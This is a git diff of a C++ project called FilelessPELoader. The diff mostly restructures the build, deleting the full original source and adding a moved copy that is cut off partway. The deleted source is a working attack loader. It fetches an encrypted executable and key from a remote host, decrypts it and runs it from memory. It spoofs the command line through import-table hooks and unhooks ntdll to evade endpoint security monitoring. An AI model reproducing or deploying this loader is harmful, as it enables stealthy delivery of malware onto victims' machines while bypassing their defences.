diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0e15fec --- /dev/null +++ b/.gitignore @@ -0,0 +1,13 @@ +build +*.sln +*.vcxproj +*.user +*.sln +FilelessPELoader/FilelessPELoader.vcxproj +*.filters +*.user +*.sln +*.sln +*.vcxproj +*.filters +*.user diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..19a1950 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,14 @@ +cmake_minimum_required(VERSION 3.25) + +project(FilelessPELoader) + +set(CMAKE_CXX_STANDARD 20) + +set_property(GLOBAL PROPERTY USE_FOLDERS ON) +set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT ${PROJECT_NAME}) + +add_subdirectory(${PROJECT_NAME}) + +if(CMAKE_GENERATOR MATCHES "Visual Studio") + set(CMAKE_SUPPRESS_REGENERATION true) +endif() diff --git a/FilelessPELoader/CMakeLists.txt b/FilelessPELoader/CMakeLists.txt new file mode 100644 index 0000000..e67b77e --- /dev/null +++ b/FilelessPELoader/CMakeLists.txt @@ -0,0 +1,7 @@ +set(CMAKE_SOURCE_DIR src) + +add_executable(${PROJECT_NAME} ${CMAKE_SOURCE_DIR}/${PROJECT_NAME}.cpp) + +if(CMAKE_GENERATOR MATCHES "Visual Studio") + set_target_properties(${PROJECT_NAME} PROPERTIES FOLDER "${PROJECT_NAME}") +endif() \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.cpp b/FilelessPELoader/FilelessPELoader.cpp deleted file mode 100644 index 3f9376c..0000000 --- a/FilelessPELoader/FilelessPELoader.cpp +++ /dev/null @@ -1,690 +0,0 @@ -#define _CRT_RAND_S -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) -#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) -#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) - -#pragma comment (lib, "crypt32.lib") -#pragma comment(lib, "winhttp") - -#pragma warning (disable: 4996) -#define _CRT_SECURE_NO_WARNINGS - -#pragma comment(lib, "ntdll") - -EXTERN_C NTSTATUS NtOpenSection( - OUT PHANDLE SectionHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes -); - -using MyNtMapViewOfSection = NTSTATUS(NTAPI*)( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID* BaseAddress, - ULONG_PTR ZeroBits, - SIZE_T CommitSize, - PLARGE_INTEGER SectionOffset, - PSIZE_T ViewSize, - DWORD InheritDisposition, - ULONG AllocationType, - ULONG Win32Protect - ); - - - - -typedef struct _BASE_RELOCATION_ENTRY { - WORD Offset : 12; - WORD Type : 4; -} BASE_RELOCATION_ENTRY; - - - -struct DATA { - - LPVOID data; - size_t len; - -}; - - -void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { - HCRYPTPROV hProv; - HCRYPTHASH hHash; - HCRYPTKEY hKey; - - if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { - printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); - return; - } - if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { - printf("Failed in CryptCreateHash (%u)\n", GetLastError()); - return; - } - if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { - printf("Failed in CryptHashData (%u)\n", GetLastError()); - return; - } - if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { - printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); - return; - } - - if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { - printf("Failed in CryptDecrypt (%u)\n", GetLastError()); - return; - } - - CryptReleaseContext(hProv, 0); - CryptDestroyHash(hHash); - CryptDestroyKey(hKey); - -} - - -DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) { - - DATA data; - std::vector buffer; - DWORD dwSize = 0; - DWORD dwDownloaded = 0; - LPSTR pszOutBuffer = NULL; - BOOL bResults = FALSE; - HINTERNET hSession = NULL, - hConnect = NULL, - hRequest = NULL; - // Use WinHttpOpen to obtain a session handle. - hSession = WinHttpOpen(L"WinHTTP Example/1.0", - WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, - WINHTTP_NO_PROXY_NAME, - WINHTTP_NO_PROXY_BYPASS, 0); - - - // Specify an HTTP server. - if (hSession) - hConnect = WinHttpConnect(hSession, whost, - port, 0); - else - printf("Failed in WinHttpConnect (%u)\n", GetLastError()); - - // Create an HTTP request handle. - if (hConnect) - hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource, - NULL, WINHTTP_NO_REFERER, - WINHTTP_DEFAULT_ACCEPT_TYPES, - NULL); - else - printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError()); - - // Send a request. - if (hRequest) - bResults = WinHttpSendRequest(hRequest, - WINHTTP_NO_ADDITIONAL_HEADERS, - 0, WINHTTP_NO_REQUEST_DATA, 0, - 0, 0); - else - printf("Failed in WinHttpSendRequest (%u)\n", GetLastError()); - - // End the request. - if (bResults) - bResults = WinHttpReceiveResponse(hRequest, NULL); - else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError()); - - // Keep checking for data until there is nothing left. - if (bResults) - do - { - // Check for available data. - dwSize = 0; - if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) - printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError()); - - // Allocate space for the buffer. - pszOutBuffer = new char[dwSize + 1]; - if (!pszOutBuffer) - { - printf("Out of memory\n"); - dwSize = 0; - } - else - { - // Read the Data. - ZeroMemory(pszOutBuffer, dwSize + 1); - - if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, - dwSize, &dwDownloaded)) - printf("Error %u in WinHttpReadData.\n", GetLastError()); - else { - - buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded); - - } - delete[] pszOutBuffer; - } - - } while (dwSize > 0); - - if (buffer.empty() == TRUE) - { - printf("Failed in retrieving the Shellcode"); - } - - // Report any errors. - if (!bResults) - printf("Error %d has occurred.\n", GetLastError()); - - // Close any open handles. - if (hRequest) WinHttpCloseHandle(hRequest); - if (hConnect) WinHttpCloseHandle(hConnect); - if (hSession) WinHttpCloseHandle(hSession); - - size_t size = buffer.size(); - - char* bufdata = (char*)malloc(size); - for (int i = 0; i < buffer.size(); i++) { - bufdata[i] = buffer[i]; - } - data.data = bufdata; - data.len = size; - return data; - -} - - -//cmdline args vars -BOOL hijackCmdline = FALSE; -char* sz_masqCmd_Ansi = NULL; -char* sz_masqCmd_ArgvAnsi[100]; -wchar_t* sz_masqCmd_Widh = NULL; -wchar_t* sz_masqCmd_ArgvWidh[100]; -wchar_t** poi_masqArgvW = NULL; -char** poi_masqArgvA = NULL; -int int_masqCmd_Argc = 0; -struct MemAddrs* pMemAddrs = NULL; -DWORD dwTimeout = 0; - -//PE vars -BYTE* pImageBase = NULL; -IMAGE_NT_HEADERS* ntHeader = NULL; - - -//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT------------- - -LPWSTR hookGetCommandLineW() -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew"); - return sz_masqCmd_Widh; -} - -LPSTR hookGetCommandLineA() -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea"); - return sz_masqCmd_Ansi; -} - -char*** __cdecl hook__p___argv(void) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv"); - return &poi_masqArgvA; -} - -wchar_t*** __cdecl hook__p___wargv(void) -{ - - //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv"); - return &poi_masqArgvW; -} - -int* __cdecl hook__p___argc(void) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc"); - return &int_masqCmd_Argc; -} - -int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs"); - *_Argc = int_masqCmd_Argc; - *_Argv = poi_masqArgvW; - - return 0; -} - -int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs"); - *_Argc = int_masqCmd_Argc; - *_Argv = poi_masqArgvA; - - return 0; -} - -_onexit_t __cdecl hook_onexit(_onexit_t function) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n"); - return 0; -} - -int __cdecl hookatexit(void(__cdecl* func)(void)) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n"); - return 0; -} - -int __cdecl hookexit(int status) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n"); - //_cexit() causes cmd.exe to break for reasons unknown... - ExitThread(0); - return 0; -} - -void __stdcall hookExitProcess(UINT statuscode) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n"); - ExitThread(0); -} -void masqueradeCmdline() -{ - //Convert cmdline to widestring - int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0); - sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t)); - MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size); - - //Create widestring array of pointers - poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc); - - //Manual function equivalent for CommandLineToArgvA - int retval; - int memsize = int_masqCmd_Argc * sizeof(LPSTR); - for (int i = 0; i < int_masqCmd_Argc; ++i) - { - retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL); - memsize += retval; - } - - poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize); - - int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR); - LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR); - for (int i = 0; i < int_masqCmd_Argc; ++i) - { - retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL); - poi_masqArgvA[i] = buffer; - buffer += retval; - bufLen -= retval; - } - - hijackCmdline = TRUE; -} - - -//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array -void freeargvA(char** array, int Argc) -{ - //Wipe cmdline args from beacon memory - for (int i = 0; i < Argc; i++) - { - memset(array[i], 0, strlen(array[i])); - } - LocalFree(array); -} - -//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN -void freeargvW(wchar_t** array, int Argc) -{ - //Wipe cmdline args from beacon memory - for (int i = 0; i < Argc; i++) - { - memset(array[i], 0, wcslen(array[i]) * 2); - } - LocalFree(array); -} - - -char* GetNTHeaders(char* pe_buffer) -{ - if (pe_buffer == NULL) return NULL; - - IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; - if (idh->e_magic != IMAGE_DOS_SIGNATURE) { - return NULL; - } - const LONG kMaxOffset = 1024; - LONG pe_offset = idh->e_lfanew; - if (pe_offset > kMaxOffset) return NULL; - IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset); - if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; - return (char*)inh; -} - -IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id) -{ - if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; - - char* nt_headers = GetNTHeaders((char*)pe_buffer); - if (nt_headers == NULL) return NULL; - - IMAGE_DATA_DIRECTORY* peDir = NULL; - - IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; - peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); - - if (peDir->VirtualAddress == NULL) { - return NULL; - } - return peDir; -} - -bool RepairIAT(PVOID modulePtr) -{ - IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); - if (importsDir == NULL) return false; - - size_t maxSize = importsDir->Size; - size_t impAddr = importsDir->VirtualAddress; - - IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; - size_t parsedSize = 0; - - for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { - lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); - - if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break; - LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); - - size_t call_via = lib_desc->FirstThunk; - size_t thunk_addr = lib_desc->OriginalFirstThunk; - if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; - - size_t offsetField = 0; - size_t offsetThunk = 0; - while (true) - { - IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via); - IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr); - - if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64) - { - size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF)); - fieldThunk->u1.Function = addr; - } - - if (fieldThunk->u1.Function == NULL) break; - - if (fieldThunk->u1.Function == orginThunk->u1.Function) { - - PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData); - LPSTR func_name = (LPSTR)by_name->Name; - - size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name); - - - if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0) - { - fieldThunk->u1.Function = (size_t)hookGetCommandLineA; - } - else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0) - { - fieldThunk->u1.Function = (size_t)hookGetCommandLineW; - } - else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0) - { - fieldThunk->u1.Function = (size_t)hook__wgetmainargs; - } - else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0) - { - fieldThunk->u1.Function = (size_t)hook__getmainargs; - } - else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0) - { - fieldThunk->u1.Function = (size_t)hook__p___argv; - } - else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0) - { - fieldThunk->u1.Function = (size_t)hook__p___wargv; - } - else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0) - { - fieldThunk->u1.Function = (size_t)hook__p___argc; - } - else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0)) - { - fieldThunk->u1.Function = (size_t)hookexit; - } - else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0) - { - fieldThunk->u1.Function = (size_t)hookExitProcess; - } - else - fieldThunk->u1.Function = addr; - - } - offsetField += sizeof(IMAGE_THUNK_DATA); - offsetThunk += sizeof(IMAGE_THUNK_DATA); - } - } - return true; -} - -void PELoader(char* data, DWORD datasize) -{ - - masqueradeCmdline(); - - unsigned int chksum = 0; - for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; }; - - BYTE* pImageBase = NULL; - LPVOID preferAddr = 0; - DWORD OldProtect = 0; - - IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data); - if (!ntHeader) { - exit(0); - } - - IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); - preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; - - - HMODULE dll = LoadLibraryA("ntdll.dll"); - ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); - - pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!pImageBase) { - if (!relocDir) { - exit(0); - } - else { - pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!pImageBase) - { - exit(0); - } - } - } - - // FILL the memory block with PEdata - ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase; - memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); - - IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS)); - for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) - { - memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); - } - - // Fix the PE Import addr table - RepairIAT(pImageBase); - - // AddressOfEntryPoint - size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint; - - EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0); - -} - - - - -LPVOID getNtdll() { - - LPVOID pntdll = NULL; - - //Create our suspended process - STARTUPINFOA si; - PROCESS_INFORMATION pi; - ZeroMemory(&si, sizeof(si)); - ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); - CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); - - if (!pi.hProcess) - { - printf("[-] Error creating process\r\n"); - return NULL; - } - - //Get base address of NTDLL - HANDLE process = GetCurrentProcess(); - MODULEINFO mi; - HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); - GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); - - - pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage); - SIZE_T dwRead; - BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead); - if (!bSuccess) { - printf("Failed in reading ntdll (%u)\n", GetLastError()); - return NULL; - } - - - TerminateProcess(pi.hProcess, 0); - return pntdll; -} - - - - -BOOL Unhook(LPVOID cleanNtdll) { - - char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 }; - - HANDLE hNtdll = GetModuleHandleA(nt); - DWORD oldprotect = 0; - PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll; - PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew); - int i; - - - // find .text section - for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { - PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i)); - - char txt[] = { '.','t','e','x','t', 0 }; - - if (!strcmp((char*)sectionHdr->Name, txt)) { - - // prepare ntdll.dll memory region for write permissions. - BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), - sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); - if (!ProtectStatus1) { - printf("Failed to change the protection (%u)\n", GetLastError()); - return FALSE; - } - - // copy .text section from the mapped ntdll to the hooked one - memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); - - - // restore original protection settings of ntdll - BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), - sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); - if (!ProtectStatus2) { - printf("Failed to change the protection back (%u)\n", GetLastError()); - return FALSE; - } - - } - } - - return TRUE; - -} - - -int main(int argc, char** argv) { - - if (argc != 5) { - printf("[+] Usage: %s \n", argv[0]); - return 1; - } - - char* host = argv[1]; - - - DWORD port = atoi(argv[2]); - - - char* pe = argv[3]; - - char* key = argv[4]; - - const size_t cSize1 = strlen(host) + 1; - wchar_t* whost = new wchar_t[cSize1]; - mbstowcs(whost, host, cSize1); - - - const size_t cSize2 = strlen(pe) + 1; - wchar_t* wpe = new wchar_t[cSize2]; - mbstowcs(wpe, pe, cSize2); - - const size_t cSize3 = strlen(key) + 1; - wchar_t* wkey = new wchar_t[cSize3]; - mbstowcs(wkey, key, cSize3); - - - - printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port); - DATA PE = GetData(whost, port, wpe); - if (!PE.data) { - printf("[-] Failed in getting AES Encrypted PE\n"); - return -1; - } - - printf("\n[+] Get AES Key from %s:%d\n", host, port); - DATA keyData = GetData(whost, port, wkey); - if (!keyData.data) { - printf("[-] Failed in getting key\n"); - return -2; - } - printf("\n[+] AES PE Address : %p\n", PE.data); - printf("\n[+] AES Key Address : %p\n", keyData.data); - - printf("\n[+] Decrypt the PE \n"); - DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len); - printf("\n[+] PE Decrypted\n"); - - // Fixing command line - sz_masqCmd_Ansi = (char*)"whatEver"; - - printf("\n[+] Loading and Running PE\n"); - PELoader((char*)PE.data, PE.len); - - printf("\n[+] Finished\n"); - - - return 0; -} \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.sln b/FilelessPELoader/FilelessPELoader.sln deleted file mode 100644 index 7d3ff90..0000000 --- a/FilelessPELoader/FilelessPELoader.sln +++ /dev/null @@ -1,31 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.32106.194 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FilelessPELoader", "FilelessPELoader.vcxproj", "{82277B35-D159-4B44-8D54-FB66EDD58D5C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x64.ActiveCfg = Debug|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x64.Build.0 = Debug|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x86.ActiveCfg = Debug|Win32 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x86.Build.0 = Debug|Win32 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x64.ActiveCfg = Release|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x64.Build.0 = Release|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x86.ActiveCfg = Release|Win32 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {9161B8CD-FAF4-43AC-9884-6995AB00EFB0} - EndGlobalSection -EndGlobal diff --git a/FilelessPELoader/FilelessPELoader.vcxproj b/FilelessPELoader/FilelessPELoader.vcxproj deleted file mode 100644 index 95fc7ba..0000000 --- a/FilelessPELoader/FilelessPELoader.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {82277b35-d159-4b44-8d54-fb66edd58d5c} - FilelessPELoader - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.vcxproj.filters b/FilelessPELoader/FilelessPELoader.vcxproj.filters deleted file mode 100644 index 911535f..0000000 --- a/FilelessPELoader/FilelessPELoader.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.vcxproj.user b/FilelessPELoader/FilelessPELoader.vcxproj.user deleted file mode 100644 index 0f14913..0000000 --- a/FilelessPELoader/FilelessPELoader.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/FilelessPELoader/src/FilelessPELoader.cpp b/FilelessPELoader/src/FilelessPELoader.cpp new file mode 100644 index 0000000..8492af1 --- /dev/null +++ b/FilelessPELoader/src/FilelessPELoader.cpp @@ -0,0 +1,642 @@ +#define _CRT_RAND_S +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NtCurrentThread() (( HANDLE )( LONG_PTR ) -2) +#define NtCurrentProcess() (( HANDLE ) ( LONG_PTR )-1) + +#pragma comment (lib, "crypt32.lib") +#pragma comment(lib, "winhttp") + +#pragma warning (disable: 4996) +#define _CRT_SECURE_NO_WARNINGS + +#pragma comment(lib, "ntdll") + +EXTERN_C NTSTATUS NtOpenSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes +); + +using MyNtMapViewOfSection = NTSTATUS(NTAPI*)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID* BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + DWORD InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect + ); + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; +} BASE_RELOCATION_ENTRY; + +struct DATA { + LPVOID data; + size_t len; +}; + +void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + HCRYPTKEY hKey; + + if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { + printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); + return; + } + if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { + printf("Failed in CryptCreateHash (%u)\n", GetLastError()); + return; + } + if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { + printf("Failed in CryptHashData (%u)\n", GetLastError()); + return; + } + if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { + printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); + return; + } + + if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { + printf("Failed in CryptDecrypt (%u)\n", GetLastError()); + return; + } + + CryptReleaseContext(hProv, 0); + CryptDestroyHash(hHash); + CryptDestroyKey(hKey); +} + +DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) { + + DATA data; + std::vector buffer; + DWORD dwSize = 0; + DWORD dwDownloaded = 0; + LPSTR pszOutBuffer = NULL; + BOOL bResults = FALSE; + HINTERNET hSession = NULL, + hConnect = NULL, + hRequest = NULL; + // Use WinHttpOpen to obtain a session handle. + hSession = WinHttpOpen(L"WinHTTP Example/1.0", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + + + // Specify an HTTP server. + if (hSession) + hConnect = WinHttpConnect(hSession, whost, + port, 0); + else + printf("Failed in WinHttpConnect (%u)\n", GetLastError()); + + // Create an HTTP request handle. + if (hConnect) + hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + NULL); + else + printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError()); + + // Send a request. + if (hRequest) + bResults = WinHttpSendRequest(hRequest, + 